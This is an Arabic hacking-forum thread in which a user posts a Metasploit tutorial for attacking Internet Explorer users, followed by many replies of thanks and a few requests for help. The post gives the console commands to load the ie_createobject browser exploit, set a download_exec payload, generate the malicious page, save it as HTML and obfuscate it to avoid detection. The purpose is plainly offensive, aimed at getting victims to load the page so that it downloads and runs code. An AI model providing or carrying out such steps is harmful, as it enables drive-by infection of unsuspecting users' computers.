عمل ثغرة متصفح للإكسبلورر باداة Metasploit web

[BLACK.JaGuAr]

http://www.samysoft.net/forumim/basmla/68565.gif
http://www.samysoft.net/forumim/slam/6867867.gif


تحية لكم ياأعضاء منتديات جيوش الهكرز ، سنتنال في موضوعنا إن شاء الله طريقة عمل ثغرة لمتصفح الإكسبلورر ، نقوم بفتح اداة الميتا Metasploit web وسوف تنفتح الاداة لنا في المتصفح كما في الصورة التالية :نضغط على خيار console ومن ثم ننفذ امر الاستعراض للاكسبلويتات



show exploits


http://www.aljyyosh.info/black/aljyyoshvb/ikhtraqmeta/thaghra/p1.jpg


نقوم باختيار الاكسبلويت التالي :



use windows/browser/ie_createobject

http://www.aljyyosh.info/black/aljyyoshvb/ikhtraqmeta/thaghra/p2.jpg


ومن ثم كالمعتاد نقوم باستعراض الخيارات بامر :



show options

وسنقوم بالتعديل على خيار الاسم بالامر :



set URIPATH xxxx


بدل xxxx ضع اي اسم تريد

http://www.aljyyosh.info/black/aljyyoshvb/ikhtraqmeta/thaghra/p4.jpg


بعد ذلك سنقوم باستعراض البايلودات وتحديد المناسب لنا من خلال الاوامر التالية :



show payloads
set payload windows/download_exec

http://www.aljyyosh.info/black/aljyyoshvb/ikhtraqmeta/thaghra/p5.jpg


بعد ذلك نقوم باستعراض الخيارات واعتقد معروف الامر ونطبق الموضح في الصور التالية :

http://www.aljyyosh.info/black/aljyyoshvb/ikhtraqmeta/thaghra/p6.jpg


http://www.aljyyosh.info/black/aljyyoshvb/ikhtraqmeta/thaghra/p7.jpg


الأن نقوم بتطبيق الخطوات والخيارات التي عدلناها سابقا من خلال الأمر :



exploit


سوف يعطينا رابط يحتوي على الثغرة التي قام بعملها نقوم بنسخ الرابط

http://www.aljyyosh.info/black/aljyyoshvb/ikhtraqmeta/thaghra/p8.jpg


نضع الرابط في المتصفح وستظهر لنا الثغرة نقوم بتحديد مصدر الصفحة ونقوم بتحديد الكل داخل المصدر ونقوم بنسخها ولصقها في ملف نوتباد وحفظها بامتداد html

http://www.aljyyosh.info/black/aljyyoshvb/ikhtraqmeta/thaghra/p9.jpg


سينتج لنا ملف للثغرة كما بالصورة التالية

http://www.aljyyosh.info/black/aljyyoshvb/ikhtraqmeta/thaghra/p10.jpg


طبعا الثغرة مكشوفة وتحتاج الى تشفير وهنالك العديد من المواقع التي تقدم خدمة تشفير ثغرات html وفي الرابط التالي احد المواقع


موقع تشفير (http://encrypt.alm3refh.com/Mailto-Encoder.html)


نسأل الله أن نكون قد وفقنا في إيصال الفكرة بشكل مناسب ونأسف على أي قصور


ودمتم سالمين

[She!! Access]

يشرفني ان اكون أول من يرد على هذا الموضوع المميز
مبدع كما عودتنا، الشرح المبسط المدعم بالصور الواضحة
جعلها الله في ميزان حسناتك

[cracker]

ألف تحية طيبة لك وعلى مجهوداتك الرائعة

عسى يدوم تواصلك معنا

[3nady]

يسلمووووو شرح مميز والى الامام
مبدع بحق

[ASDELY-ScOrPiOn]

موضوع جميل جدا جدا

مبدع يا بلاك

تقبل مروري

بالتوفيق للجميع

[HELTEM]

اخي والله انت مشكور على الجهد المبدول

[القط الأسود]

في البداية يشرفني أن أن أرد على أحد من مواضيعك المميزة
والله شرح رائع من أخٍ أروع
تقبل مروري
والى الأمام

[zouaouia]

ماشاء الله ماشاء الله روعة
بالرغم من أني طبقت و لكن تحصلت على انه لم يجد ال url و لكن أظن المشكلة في البايلود لا أدري ماهو و لكن سأواصل شروحك حتى أتعلم منكم
شكرا و صح فطوركم الله ينورك

[razakghardaia]

شكرا جزيللا اخي

[هاوي حنانك]

موضوع رااائع ومميز وشرح كامل والكامل وجهه الله

ابداع بلا حدوووود هذا ما عهدنا منك

[sahrawi7]

بارك الله فيك اخي واصل تميزك

[memo1122]

يعطيك ألف عااافية ماقصرت في الشرح واصل ابدااعك

[Mr.EXIT.]

طريقه جميله يعطيك العافيه

[abadyz]

يسلمو على الشرح والله شرح واضح وجاري التطبيق ونتظر المزيد من ابداعاتك ^_^ فدد

[hackman_x]

شرح واضح وجميل تسلم

[chamsou_23i]

للعين و اللقب شكرررررررررررررررررا

[V!RUS TROJAN]

اللللللله عليك يا بلاك.~ انت مبدع على طوول

ننتضر جديدك ياغالي تحياتي لك

[Resident Evil]

مبـدع يابلاك دمت للجيـووش واصــل

[السيابي]

ثاااااااااااااااااااااااا ااااانكس

[amine2853]

اخي مشكور على العمل كلوا تمام بس ما عرفت اجيب مصدر نضع الرابط في المتصفح وستظهر لنا الثغرة نقوم بتحديد مصدر الصفحة ونقوم بتحديد الكل داخل المصدر ونقوم بنسخها ولصقها في ملف نوتباد وحفظها بامتداد html
ما فهمت ارجو المساعدة شكرا

[Mad Devil]

موضوع في قمة الروعه ...الله يخليك
تحياتي

[Ace]

بارك الله فيك بلاك

[sunlight]

شكرا لك وبارك الله فيك
مجهود رائع واصل ابداعك
وبالتوفيق لك ان شاءالله .

[beli]

شكراا لك أخي على جهودك

[bibs07]

بارك الله فيك أخي الكريم

[a-ps]

جزاك الله الفخير

شرح كافي وافي

[RAKON 2500]

thnxxxxxxxxxxxxxx

[Trip-loss]

مشكور اخي ..
واصل ابداعك ..